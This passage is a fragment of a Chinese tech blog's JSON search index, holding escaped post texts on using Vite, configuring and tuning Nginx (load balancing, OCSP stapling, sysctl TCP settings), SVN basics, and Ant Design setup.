\u0026lsquo;./App.jsx\u0026rsquo;\nvite有一套开发服务功能，基于原生es模块，ESM+HMR，而且还有一套项目构建指令，用rollup打包\n打包：指的是使用工具来抓取和处理源码模块，并且合成可以在浏览器上运行的文件（浏览器本身并不提供模块管理的机制，多模块需要很多的script标签，很繁琐臃肿，而打包就很好的解决了这个问题）\n常见的打包工具例如：webpack，rollup，parcel，gulp\n注意：当冷启动服务的时候，必须要先抓取并且构建应用（当应用越来越大，模块越来越多的时候，会导致服务启动缓慢），才能提供服务，而且进行模块更新的话，也会导致重建应用缓慢\n传统打包，是将多个模块打包成单一的文件，而esm打包，是根据http请求，来获取相应的route，再根据route来获取module（避免一开始就获取全部module）\nvite将模块分为依赖和源码，依赖指的是开发时不会发生改变的，vite将使用esbuild预构建依赖，而且将以原生ESM方式让浏览器接管打包源码\n构建Vite项目\nnpm create vite\n或者\nyarn create vite\n然后初始化一下\nnpm install\n或者\nyarn\n启动服务器\nvite\n或者\nnpm run dev，yarn dev\n本地预览\nvite preview\n打包\nvite build\nreact\nnpm create vite\n选择react，如果需要ts，也可以选择ts\nnpm install\nVite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成\nVite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）\n安装@vitejs/plugin-legacy\nyarn add @vitejs/plugin-legacy -d\r配置vite.config.ts\nimport legacy from '@vitejs/plugin-legacy'\r.","title":"简单使用Vite-前端构建工具"},{"content":"Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）\nNginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））\nNginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成\nNginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费\nNginx编译安装\nMainline version版本是提供最新的功能，Stable version版本是目前的稳定版本，Legacy versions版本是过去的版本\n下载Nginx\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\n解压Nginx压缩包\ntar -xzf nginx-1.22.0.tar.gz\n其中auto目录有4个子目录（分别为cc（用于编译），lib（lib库），os（操作系统的判断），types（类型判断）），conf目录是Nginx配置目录，html目录是Nginx默认静态文件\nconf目录是Nginx配置文件目录（例如nginx.conf），src目录是Nginx源代码目录\n进入nginx目录然后进行编译\n查看编译时支持的参数\n./configure \u0026ndash;help | more\n使用默认参数编译\n./configure \u0026ndash;prefix=/home/nginx\n编译完成的中间文件存会放在objs文件夹下\nngx_module.c是要编译进Nginx的模块，如果需要安装第三方模块需要在其修改\nmake编译\nmake install安装\n进入/home/nginx，可以看到已经安装完成\n安装\n编译安装\napt install -y gcc gcc-c++ pcre pcre-devel openssl openssl-devel zlib zlib-devel\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\ntar -zxvf nginx-1.18.0.tar.gz\ncd nginx-1.18.0\nmake \u0026amp;\u0026amp;make install\n一键安装（不推荐）\napt install nginx\n检查是否安装完毕\nnginx -v\nnginx配置文件nginx.conf解读，一般在/etc/nginx下\nuser root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error.log crit; # 错误日志存储位置 pid /www/server/nginx/logs/nginx.pid; # 进程PID存储位置 events{ worker_connections 51200; # 单个后台进程的最大并发数 multi_accept on; # 一个进程可以同时接受所有的新连接，关闭（off）的话一个进程只能接收一个连接，默认值为off关闭 } http{ include mime.types; # 文件扩展和类型的映射表 default_type application/octet-stream; # 默认文件的类型 server_names_hash_bucket_size 512; client_header_buffer_size 32k; large_client_header_buffers 4 32k; client_max_body_size 50m; gzip on; # 开启gzip压缩 gzip_min_length 1k; # 设置允许压缩的最小的字节数，这里设置1k，就是只有超过1k的文件才会被压缩 gzip_buffers 4 16k; # 以16k为单位，以16k的4倍申请存储gzip压缩的数据流内存 gzip_http_version 1.1; # 只有当http1.1协议版本可以执行gzip压缩 gzip_comp_level 2; # 压缩比 gzip_types text/plain application/javascript application/x-javascript text/javascript text/css application/xml; # 设置匹配MIME类型进行压缩，默认text/html是始终被压缩的 gzip_vary on; gzip_proxied expired no-cache no-store private auth; # 当nginx是反向代理时数据的压缩，expired表示启动压缩，如果header头中包含 \u0026quot;Expires\u0026quot; 头信息，，只有off是关闭数据压缩，any是无条件启动压缩 server_tokens off; # 隐藏版本号，避免404暴露nginx的版本 access_log off; # nginx访问日志存储位置（off为关闭访问日志） server { listen 80; # 监听端口 server_name localhost; # 配置域名 index index.html index.htm index.php; # 默认页面 root /www/server/phpmyadmin; # 服务默认启动目录 error_page 404 /404.html; # 404配置页面 error_page 500 502 503 504 /50x.html # 50x服务错误配置页面 include fastcgi.conf; # 使用fastCGI解析php location / { root /www/wwwroot; index index.html index.htm index.php; } access_log /www/wwwlogs/access.log; # nginx访问日志存储位置（off为关闭访问日志） } 可以看到网站根目录在/www/wwwroot\n强制停止nginx服务 nginx -s stop\n非强制停止（等待进程完成任务后停止） nginx -s quit\n重载配置文件 nginx -s reload\n限制访问权限\nlocation / { root /www/wwwroot; index index.html index.htm index.php; allow 192.168.1.128; # 限制只有192.168.1.128可访问 deny all # 禁止访问 } nginx虚拟主机（可基于端口，域名（ip），别名设置虚拟主机）\nserver{ listen 80; server_name localhost; index index.html index.htm index.php; } server{ listen 80; server_name abc.xiaochenabc123.test.com; index index.html index.htm index.php; } server{ listen 80; # 监听端口 listen 443 ssl http2; # 设置https ssl server_name xiaochenabc123.test.com; # 配置域名 index index.php index.html index.htm default.php default.htm default.html; } 在上面例子中，可以看到端口都是80，但是域名不同，也就是说这里设置了3个虚拟主机，虚拟主机配置除了设置在/nginx/nginx.conf中，还可以设置在子配置文件（nginx/conf.d/default.conf）中，不同的虚拟主机都可设置在不同的子配置文件中\n反向代理\nserver{ listen 80; server_name abc.xiaochenabc123.test.com; location / { proxy_pass http://xiaochenabc123.test.com; index index.html; } } 在该配置中，访问abc.xiaochenabc123.test.com会反向代理到http://xiaochenabc123.test.com中\nNginx命令（例如nginx -s quit）\n查看帮助\nnginx -?或者nginx -h\n使用指定配置文件\nnginx -c nginx-01.conf\n指定配置指令（覆盖nginx.conf内的指令）\nnginx -g \u0026ldquo;user root;\u0026rdquo;\n立即关闭nginx服务\nnginx -s stop\n处理完毕全部请求后再停止服务\nnginx -s quit\n重载配置文件\nnginx -s reload\n重新记录日志\nnginx -s reopen\n查看配置文件是否出错（大小写都可以）\nnginx -t\n查看nginx信息（大V是编译信息小写v是版本信息）\nnginx -v\n指定nginx运行目录\nnginx -p /nginx/\n开启缓存\nproxy_cache_path /data/cache levels=1:2 keys_zone=oncache:10m max_size=10g inactive=60m;\n/data/cache是缓存目录，levels是缓存目录的优先级，例如1:2（二级目录），表示/data是一级目录，/cache是二级目录，keys_zone是定义共享内存区的名称和大小（oncache是名称，10m是内存区的大小），max_size是缓存的最大大小，inactive表示该缓存不在该指定时间内被访问，将从缓存中删除\nGoaccess（可视化监控access日志）\nSSL证书\n申请人通过登记机构（具备验证申请人的身份）发送证书签名申请（CSR）到CA机构，CA机构再将公钥私钥发送给登记机构，登记机构再给申请人\n当访问服务端时，会发送申请证书的请求，服务端接收到请求时会将公钥发送给客户端，客户端会验证证书的有效性，CA会将过期证书发送给CRL服务器（浏览器验证时发送请求给CRL服务器）（性能很差），一般通过OCSP（在线证书状态协议）验证，OCSP是服务端主动获取的结果，然后随着握手协商时发送给客户端，不需要客户端去验证\n开启OCSP Stapling\nserver { listen 443 ssl; server_name test.xiaochenabc123.test.com; ssl_stapling on; ssl_stapling_verify on; resolver 8.8.8.8 8.8.4.4 valid=300s; #OCSP请求的DNS服务器 resolver_timeout 5s; ssl_trusted_certificate nginx.pem; #证书公钥（pem格式） } 查看是否开启OCSP Stapling\nopenssl.exe s_client -connect https://test.xiaochenabc123.test.com:443 -status\n没有开启会返回OCSP response: no response sent\n","permalink":"https://xiaochenabc123.github.io/posts/85/","summary":"Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）\nNginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））\nNginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成\nNginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费\nNginx编译安装\nMainline version版本是提供最新的功能，Stable version版本是目前的稳定版本，Legacy versions版本是过去的版本\n下载Nginx\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\n解压Nginx压缩包\ntar -xzf nginx-1.22.0.tar.gz\n其中auto目录有4个子目录（分别为cc（用于编译），lib（lib库），os（操作系统的判断），types（类型判断）），conf目录是Nginx配置目录，html目录是Nginx默认静态文件\nconf目录是Nginx配置文件目录（例如nginx.conf），src目录是Nginx源代码目录\n进入nginx目录然后进行编译\n查看编译时支持的参数\n./configure \u0026ndash;help | more\n使用默认参数编译\n./configure \u0026ndash;prefix=/home/nginx\n编译完成的中间文件存会放在objs文件夹下\nngx_module.c是要编译进Nginx的模块，如果需要安装第三方模块需要在其修改\nmake编译\nmake install安装\n进入/home/nginx，可以看到已经安装完成\n安装\n编译安装\napt install -y gcc gcc-c++ pcre pcre-devel openssl openssl-devel zlib zlib-devel\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\ntar -zxvf nginx-1.18.0.tar.gz\ncd nginx-1.18.0\nmake \u0026amp;\u0026amp;make install\n一键安装（不推荐）\napt install nginx\n检查是否安装完毕\nnginx -v\nnginx配置文件nginx.conf解读，一般在/etc/nginx下\nuser root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error.","title":"简单使用Nginx"},{"content":"Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）\nNginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））\nNginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成\nNginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费\nNginx编译安装\nMainline version版本是提供最新的功能，Stable version版本是目前的稳定版本，Legacy versions版本是过去的版本\n下载Nginx\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\n解压Nginx压缩包\ntar -xzf nginx-1.22.0.tar.gz\n其中auto目录有4个子目录（分别为cc（用于编译），lib（lib库），os（操作系统的判断），types（类型判断）），conf目录是Nginx配置目录，html目录是Nginx默认静态文件\nconf目录是Nginx配置文件目录（例如nginx.conf），src目录是Nginx源代码目录\n进入nginx目录然后进行编译\n查看编译时支持的参数\n./configure \u0026ndash;help | more\n使用默认参数编译\n./configure \u0026ndash;prefix=/home/nginx\n编译完成的中间文件存会放在objs文件夹下\nngx_module.c是要编译进Nginx的模块，如果需要安装第三方模块需要在其修改\nmake编译\nmake install安装\n进入/home/nginx，可以看到已经安装完成\n安装\n编译安装\napt install -y gcc gcc-c++ pcre pcre-devel openssl openssl-devel zlib zlib-devel\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\ntar -zxvf nginx-1.18.0.tar.gz\ncd nginx-1.18.0\nmake \u0026amp;\u0026amp;make install\n一键安装（不推荐）\napt install nginx\n检查是否安装完毕\nnginx -v\nnginx配置文件nginx.conf解读，一般在/etc/nginx下\nuser root; # nginx运行用户\rworker_processes auto; # nginx进程数，一般会设置和CPU核数一致\rerror_log /www/wwwlogs/nginx_error.log crit; # 错误日志存储位置\rpid /www/server/nginx/logs/nginx.pid; # 进程PID存储位置\revents{\rworker_connections 51200; # 单个后台进程的最大并发数\rmulti_accept on; # 一个进程可以同时接受所有的新连接，关闭（off）的话一个进程只能接收一个连接，默认值为off关闭\r}\rhttp{\rinclude mime.types; # 文件扩展和类型的映射表\rdefault_type application/octet-stream; # 默认文件的类型\rserver_names_hash_bucket_size 512;\rclient_header_buffer_size 32k;\rlarge_client_header_buffers 4 32k;\rclient_max_body_size 50m;\rgzip on; # 开启gzip压缩\rgzip_min_length 1k; # 设置允许压缩的最小的字节数，这里设置1k，就是只有超过1k的文件才会被压缩\rgzip_buffers 4 16k; # 以16k为单位，以16k的4倍申请存储gzip压缩的数据流内存\rgzip_http_version 1.1; # 只有当http1.1协议版本可以执行gzip压缩\rgzip_comp_level 2; # 压缩比\rgzip_types text/plain application/javascript application/x-javascript text/javascript text/css application/xml; # 设置匹配MIME类型进行压缩，默认text/html是始终被压缩的\rgzip_vary on;\rgzip_proxied expired no-cache no-store private auth; # 当nginx是反向代理时数据的压缩，expired表示启动压缩，如果header头中包含 \u0026quot;Expires\u0026quot; 头信息，，只有off是关闭数据压缩，any是无条件启动压缩\rserver_tokens off; # 隐藏版本号，避免404暴露nginx的版本\raccess_log off; # nginx访问日志存储位置（off为关闭访问日志）\rserver\r{\rlisten 80; # 监听端口\rserver_name localhost; # 配置域名\rindex index.html index.htm index.php; # 默认页面\rroot /www/server/phpmyadmin; # 服务默认启动目录\rerror_page 404 /404.html; # 404配置页面\rerror_page 500 502 503 504 /50x.html # 50x服务错误配置页面\rinclude fastcgi.conf; # 使用fastCGI解析php\rlocation /\r{\rroot /www/wwwroot; index index.html index.htm index.php;\r}\raccess_log /www/wwwlogs/access.log; # nginx访问日志存储位置（off为关闭访问日志）\r}\r可以看到网站根目录在/www/wwwroot\n强制停止nginx服务 nginx -s stop\n非强制停止（等待进程完成任务后停止） nginx -s quit\n重载配置文件 nginx -s reload\n限制访问权限\nlocation /\r{\rroot /www/wwwroot; index index.html index.htm index.php;\rallow 192.168.1.128; # 限制只有192.168.1.128可访问\rdeny all # 禁止访问\r}\rnginx虚拟主机（可基于端口，域名（ip），别名设置虚拟主机）\nserver{\rlisten 80; server_name localhost;\rindex index.html index.htm index.php; }\rserver{\rlisten 80;\rserver_name abc.xiaochenabc123.test.com;\rindex index.html index.htm index.php; }\rserver{\rlisten 80; # 监听端口\rlisten 443 ssl http2; # 设置https ssl\rserver_name xiaochenabc123.test.com; # 配置域名\rindex index.php index.html index.htm default.php default.htm default.html;\r}\r在上面例子中，可以看到端口都是80，但是域名不同，也就是说这里设置了3个虚拟主机，虚拟主机配置除了设置在/nginx/nginx.conf中，还可以设置在子配置文件（nginx/conf.d/default.conf）中，不同的虚拟主机都可设置在不同的子配置文件中\n反向代理\nserver{\rlisten 80;\rserver_name abc.xiaochenabc123.test.com;\rlocation / {\rproxy_pass http://xiaochenabc123.test.com;\rindex index.html;\r}\r}\r在该配置中，访问abc.xiaochenabc123.test.com会反向代理到http://xiaochenabc123.test.com中\nNginx命令（例如nginx -s quit）\n查看帮助\nnginx -?或者nginx -h\n使用指定配置文件\nnginx -c nginx-01.conf\n指定配置指令（覆盖nginx.conf内的指令）\nnginx -g \u0026ldquo;user root;\u0026rdquo;\n立即关闭nginx服务\nnginx -s stop\n处理完毕全部请求后再停止服务\nnginx -s quit\n重载配置文件\nnginx -s reload\n重新记录日志\nnginx -s reopen\n查看配置文件是否出错（大小写都可以）\nnginx -t\n查看nginx信息（大V是编译信息小写v是版本信息）\nnginx -v\n指定nginx运行目录\nnginx -p /nginx/\n开启缓存\nproxy_cache_path /data/cache levels=1:2 keys_zone=oncache:10m max_size=10g inactive=60m;\n/data/cache是缓存目录，levels是缓存目录的优先级，例如1:2（二级目录），表示/data是一级目录，/cache是二级目录，keys_zone是定义共享内存区的名称和大小（oncache是名称，10m是内存区的大小），max_size是缓存的最大大小，inactive表示该缓存不在该指定时间内被访问，将从缓存中删除\nproxy_cache_path的上下文是http段\nGoaccess（可视化监控access日志）\nSSL证书\n申请人通过登记机构（具备验证申请人的身份）发送证书签名申请（CSR）到CA机构，CA机构再将公钥私钥发送给登记机构，登记机构再给申请人\n当访问服务端时，会发送申请证书的请求，服务端接收到请求时会将公钥发送给客户端，客户端会验证证书的有效性，CA会将过期证书发送给CRL服务器（浏览器验证时发送请求给CRL服务器）（性能很差），一般通过OCSP（在线证书状态协议）验证，OCSP是服务端主动获取的结果，然后随着握手协商时发送给客户端，不需要客户端去验证\n开启OCSP Stapling\nserver {\rlisten 443 ssl;\rserver_name test.xiaochenabc123.test.com;\rssl_stapling on;\rssl_stapling_verify on;\rresolver 8.8.8.8 8.8.4.4 valid=300s; #OCSP请求的DNS服务器\rresolver_timeout 5s;\rssl_trusted_certificate nginx.pem; #证书公钥（pem格式）\r}\r查看是否开启OCSP Stapling\nopenssl.exe s_client -connect https://test.xiaochenabc123.test.com:443 -status\n没有开启会返回OCSP response: no response sent\nnginx负载均衡（将请求转发给多个服务端去执行，每个服务端的任务一般是一样的）\nnginx配置\nupstream test_server{\rserver 198.168.1.2:81 weight=10 max_conns=3000 fail_timeout=10s max_fails=3; #权重为10（默认为1，指定该上游服务端的最大并发连接数为1000，在10秒内判断2次上游服务端不可用时，将在这10秒内不进行请求转发\rserver 198.168.1.3:82 weight=1 max_conns=500 fail_timeout=10s max_fails=2;\rserver 198.168.1.4:83 weight=5 max_conns=1000 fail_timeout=10s max_fails=2 backup; # backup，备用服务端标记，只有当其他服务端不可用时才进行请求转发，down，标记是离线服务端，不会进行请求转发\rserver 198.168.1.5:80 weight=5 max_conns=1000 fail_timeout=10s max_fails=2;\rserver 198.168.1.6:8080 weight=10 max_conns=2000 fail_timeout=10s max_fails=2;\rserver 198.168.1.7:85 weight=5 max_conns=1000 fail_timeout=10s max_fails=2 down;\rserver test1.xiaochenabc123.test.com:5000 weight=20 max_conns=5000 fail_timeout=10s max_fails=5;\rkeepalive 32; # worker子进程与上游服务端空闲的长连接数为32\rkeepalive _requests 50; # 每个长连接最多只能处理50个HTTP请求（默认值为100）\rkeepalive _timeout 30s; #nginx与上游服务端空闲长连接的最长生存时间，默认为60秒\r}\rserver{\rlisten 80;\rserver_name test.xiaochenabc123.test.com\rlocation /test/ {\rproxy_pass http://test_server;\r}\r}\r测试\ncurl test.xiaochenabc123.test.com\n负载均衡算法\n哈希算法（根据某些参数来决定，只有参数不变时将一直使用该代理服务）\nupstream test_server1{\rhash $request_uri; # 当uri不发送改变，那么负责处理该请求的上游服务端将会一直不变，也可以是其他参数\rserver 198.168.1.2:80;\rserver 198.168.1.3:80;\r}\rip_hash算法\nupstream test_server1{\rip_hash; # 根据ip来决定，如果ip不发生改变，将一直使用该代理服务\rserver 198.168.1.2:80;\rserver 198.168.1.3:80;\r}\r最少连接数算法\nupstream test_server1{\rzone testserver 10M; # 创建共享内存，通过共享内存来让全部的worker子进程对负载均衡策略生效，上游服务的状态数据都存放在该功能内存中\rleast_conn; # 选择连接数最少的服务端，并且对该服务端进行加权，让它能够获取更多连接\rserver 198.168.1.2:80;\rserver 198.168.1.3:80;\r}\r性能优化\nworker子进程数，worker_processes 8;\nworker子进程与CPU核心绑定，如果是4个CPU核心，worker_cpu_affinity 0001 0010 0100 1000;\nworker子进程与CPU核心绑定的好处：更好的利用CPU核心内部的一级缓存，二级缓存（增加缓存命中率）\n位数表示使用多少个核心，个数为多少个进程，如果是0101 1010，将表示4个核心，使用2个进程\n设置worker子进程的优先级，worker_priority -20;\n提高worker子进程的优先级，可以分配更大的CPU时间片，让worker子进程更优先的进行工作\n优先级为-20到19，值越小优先级越高\n延迟处理新连接的请求，listen 80 deferred;\ndeferred表示在3次握手中，检测到客户端进行http请求数据时，tcp状态才设置连接成功（tcp连接成功会唤醒nginx进程，如果没有请求数据，只进行连接TCP，完全没有必要nginx进程），否则丢弃\n优化TCP连接\n当nginx作为中间件时，向上游服务获取数据时，需要进行TCP连接，对下游客户端也是需要进行TCP连接\n以下配置都是要用到/etc/sysctl.conf的系统控制文件，这个文件是配置内核参数等信息的\nnet.ipv4.tcp_syn_retries = 6，这个设置决定了上游（上游一直没有返回SYN+ACK包）在TCP连接中超时，最多重发多少次SYN包，在Linux下默认为6，并且TCP连接超时为127秒，这个值越小，认定TCP连接超时的时间越短，认定TCP连接超时会关闭连接（占用TCP连接会消耗CPU和内存）\nnet.ipv4.tcp_synack_retries = 5，这个设置决定了SYN+ACK确认包的重发次数，默认为5，这个值越小，认定TCP连接超时的时间越短\nnet.ipv4.tcp_syncookies = 1，1为开启tcp_syncookies，在进行TCP第一次握手时，如果syn_backlog队列满了，会丢弃SYN包，开启tcp_syncookies将不会丢弃，而是使用syncookie进行握手\nnet.core.netdev_max_backlog = 262144，决定能接收数据包的最大长度队列\nnet.core.somaxconn = 128，决定同时发起的TCP连接数，默认为128，可以调高该值，避免连接超时或者重传\nnet.ipv4.tcp_max_orphans = 16384，决定孤立连接（主动断开方关闭进程，表示进程与这个连接没有关系了，就成了孤立连接，也就是FIN_WAIT1状态）的最大数量，当孤立连接超过该值，后续新增的孤立连接将不会走4次挥手流程，而是直接通过发送RST报文来强制关闭连接\nnet.ipv4.tcp_max_syn_backlog = 128，决定处于SYN_RECV状态的TCP连接数（第二次握手，服务端发送SYN确认包后），超过设置数会丢弃第三次的SYN报文\nnet.ipv4.tcp_abort_on_overflow = 1，决定了TCP连接建立完成后，如果backlog队列满了，TCP连接将回退到SYN+ACK状态，开启该设置，会发送RST包给客户端，进行终止该词连接，如果没有必要请勿开启\nnet.ipv4.ip_local_port_range = 32768 61000，限制服务端对外和本地的端口范围（每个TCP连接都需要占用一个本地的端口，如果本地端口满了，将无法创建新的TCP连接）\nnet.ipv4.tcp_tw_reuse = 1，复用TIME_WAIT状态的连接，开启这个可以快速复用TIME_WAIT状态的连接\nnet.ipv4.tcp_fastopen = 1，TFO功能，开启该功能会在三次握手时，发送syn包给上游，上游根据ip生成cookie，并且和syn+ack一起发送给下游（下游缓存这个cookie），下游与上游进行第二连接时，发送syn包给上游会携带这个cookie，上游验证后发送SYN-ACK包，就可以发送数据（数据在SYN包中），省去第三次握手，下游发送ACK确认上游的数据，如果cookie无效，将会丢弃SYN包中的数据，发送正常的SYN-ACK包，并且完成第三次握手，进行TFO功能的TCP连接依赖于这个cookie\n/etc/sysctl.conf配置生效可以使用sysctl -p命令\n","permalink":"https://xiaochenabc123.github.io/posts/85/","summary":"Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）\nNginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））\nNginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成\nNginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费\nNginx编译安装\nMainline version版本是提供最新的功能，Stable version版本是目前的稳定版本，Legacy versions版本是过去的版本\n下载Nginx\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\n解压Nginx压缩包\ntar -xzf nginx-1.22.0.tar.gz\n其中auto目录有4个子目录（分别为cc（用于编译），lib（lib库），os（操作系统的判断），types（类型判断）），conf目录是Nginx配置目录，html目录是Nginx默认静态文件\nconf目录是Nginx配置文件目录（例如nginx.conf），src目录是Nginx源代码目录\n进入nginx目录然后进行编译\n查看编译时支持的参数\n./configure \u0026ndash;help | more\n使用默认参数编译\n./configure \u0026ndash;prefix=/home/nginx\n编译完成的中间文件存会放在objs文件夹下\nngx_module.c是要编译进Nginx的模块，如果需要安装第三方模块需要在其修改\nmake编译\nmake install安装\n进入/home/nginx，可以看到已经安装完成\n安装\n编译安装\napt install -y gcc gcc-c++ pcre pcre-devel openssl openssl-devel zlib zlib-devel\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\ntar -zxvf nginx-1.18.0.tar.gz\ncd nginx-1.18.0\nmake \u0026amp;\u0026amp;make install\n一键安装（不推荐）\napt install nginx\n检查是否安装完毕\nnginx -v\nnginx配置文件nginx.conf解读，一般在/etc/nginx下\nuser root; # nginx运行用户\rworker_processes auto; # nginx进程数，一般会设置和CPU核数一致\rerror_log /www/wwwlogs/nginx_error.","title":"简单使用Nginx HTTP服务器软件"},{"content":"SVN全名Subversion，即版本控制系统\n和Git不同，Git是分布式，而SVN是集中式\n在commit没有冲突的时候，会合并\n而存在冲突那么就需要先手动处理冲突再commit\n源代码库：源代码统一存放的地方\n获取：到源代码库获取一份源代码\n提交：已经修改了源代码，想提交到源代码库\n更新：更新同步和源代码库一样的源代码\n安装SVN\ndnf install subversion\n创建版本库\ncd /svn/demo\nsvnadmin create /svn/demo\n其中conf/svnserve.conf文件是svn服务配置文件\nanon-access = read auth-access = write password-db = passwd authz-db = authz realm = /svn/demo\npasswd文件为账号密码文件\n格式为：账号=密码，例如：abc = root\nauthz为权限控制文件\n格式为：账号=rw（r读，w写），例如：abc=rw\n启动版本库\nsvnserve -d -r /svn/demo \u0026ndash;listen-port 3690\n\u0026ndash;listen-port是指定svn监听端口，默认是3690，-r是指定版本库\n停止svn服务\nkillall svnserve\n检出：从版本库中创建副本，在其修改，再提交到版本库中\n例如：\nsvn checkout svn:xxx/demo \u0026ndash;username=root\n因为root有读写权限，因此将会在本地获取到demo的副本\n更新：更新副本，将其同步到版本库最新版本，如果不是当前最新版本，当前本地的副本将无效\nsvn update\n默认是更新到最新版本，也可以指定更新到哪个版本\nsvn update -r 2 demo\n提交\nsvn commit -m \u0026ldquo;hello svn\u0026rdquo;\n查看副本状态\nsvn status\n如果出现?，则表示还没有加入版本控制中，出现A，表示已经加入版本控制中\n添加文件到版本控制中\nsvn add demo\nadd只是将其添加到版本控制中，还没有提交到版本库中\n提交到版本库中\nsvn commit -m \u0026ldquo;hello svn\u0026rdquo;\n版本回退（当想放弃当前文件的修改，想恢复到之前的文件）\nsvn revert -R demo\n将demo目录回退到修改之前的状态，不加-R则是文件回退\n当然也可以回退到指定版本\nsvn revert -R 2:1 demo\n从版本2回退到版本1\n查看历史信息\n查看指定版本之间的信息（版本作者，日期，路径）\nsvn log -r 2:1\n查看文件的版本修改信息\nsvn log /demo/index.html\n获取目录和显示指定条数的\nsvn log -l 2 -v\n查看历史修改情况（比如本地修改，副本和版本库）\nsvn diff\n默认会比较副本文件和缓存在.svn中的原始的改变\n比较副本和指定版本\nsvn diff -r 2 index.html\n版本和版本的比较\nsvn diff -r 1:2 index.html\n查看过去版本的内容\nsvn cat -r 2 index.html\n查看远程库的文件列表（不下载）\nsvn list svn:xxx/demo\n分支\n创建分支\n切换分支\n合并分支\n标签\n","permalink":"https://xiaochenabc123.github.io/posts/84/","summary":"SVN全名Subversion，即版本控制系统\n和Git不同，Git是分布式，而SVN是集中式\n在commit没有冲突的时候，会合并\n而存在冲突那么就需要先手动处理冲突再commit\n源代码库：源代码统一存放的地方\n获取：到源代码库获取一份源代码\n提交：已经修改了源代码，想提交到源代码库\n更新：更新同步和源代码库一样的源代码\n安装SVN\ndnf install subversion\n创建版本库\ncd /svn/demo\nsvnadmin create /svn/demo\n其中conf/svnserve.conf文件是svn服务配置文件\nanon-access = read auth-access = write password-db = passwd authz-db = authz realm = /svn/demo\npasswd文件为账号密码文件\n格式为：账号=密码，例如：abc = root\nauthz为权限控制文件\n格式为：账号=rw（r读，w写），例如：abc=rw\n启动版本库\nsvnserve -d -r /svn/demo \u0026ndash;listen-port 3690\n\u0026ndash;listen-port是指定svn监听端口，默认是3690，-r是指定版本库\n停止svn服务\nkillall svnserve\n检出：从版本库中创建副本，在其修改，再提交到版本库中\n例如：\nsvn checkout svn:xxx/demo \u0026ndash;username=root\n因为root有读写权限，因此将会在本地获取到demo的副本\n更新：更新副本，将其同步到版本库最新版本，如果不是当前最新版本，当前本地的副本将无效\nsvn update\n默认是更新到最新版本，也可以指定更新到哪个版本\nsvn update -r 2 demo\n提交\nsvn commit -m \u0026ldquo;hello svn\u0026rdquo;","title":"SVN版本控制系统学习笔记"},{"content":"Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架\n官网：https://ant.design/index-cn\n使用create-react-app初始项目\nyarn create react-app antd-demo\n运行\nyarn start\n安装antd组件库\nyarn add antd\n通过import { 组件名 } from \u0026ldquo;antd\u0026quot;方式导入antd组件\n导入antd css样式\n@import \u0026lsquo;~antd/dist/antd.css\u0026rsquo;;\n在typescript上使用\nyarn create react-app antd-demo-ts \u0026ndash;template typescript\nAntd的样式使用了less作为开发语言\n第一个实例demo\nimport 'antd/dist/antd.css';\rimport { DatePicker, Space } from 'antd';\rReactDOM.render(\r\u0026lt;Space direction=\u0026quot;vertical\u0026quot;\u0026gt;\r\u0026lt;DatePicker/\u0026gt;\r\u0026lt;/Space\u0026gt;,\rdocument.getElementById('root'),\r); ","permalink":"https://xiaochenabc123.github.io/posts/82/","summary":"Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架\n官网：https://ant.design/index-cn\n使用create-react-app初始项目\nyarn create react-app antd-demo\n运行\nyarn start\n安装antd组件库\nyarn add antd\n通过import { 组件名 } from \u0026ldquo;antd\u0026quot;方式导入antd组件\n导入antd css样式\n@import \u0026lsquo;~antd/dist/antd.css\u0026rsquo;;\n在typescript上使用\nyarn create react-app antd-demo-ts \u0026ndash;template typescript\nAntd的样式使用了less作为开发语言\n第一个实例demo\nimport 'antd/dist/antd.css';\rimport { DatePicker, Space } from 'antd';\rReactDOM.render(\r\u0026lt;Space direction=\u0026quot;vertical\u0026quot;\u0026gt;\r\u0026lt;DatePicker/\u0026gt;\r\u0026lt;/Space\u0026gt;,\rdocument.getElementById('root'),\r); ","title":"简单使用Ant 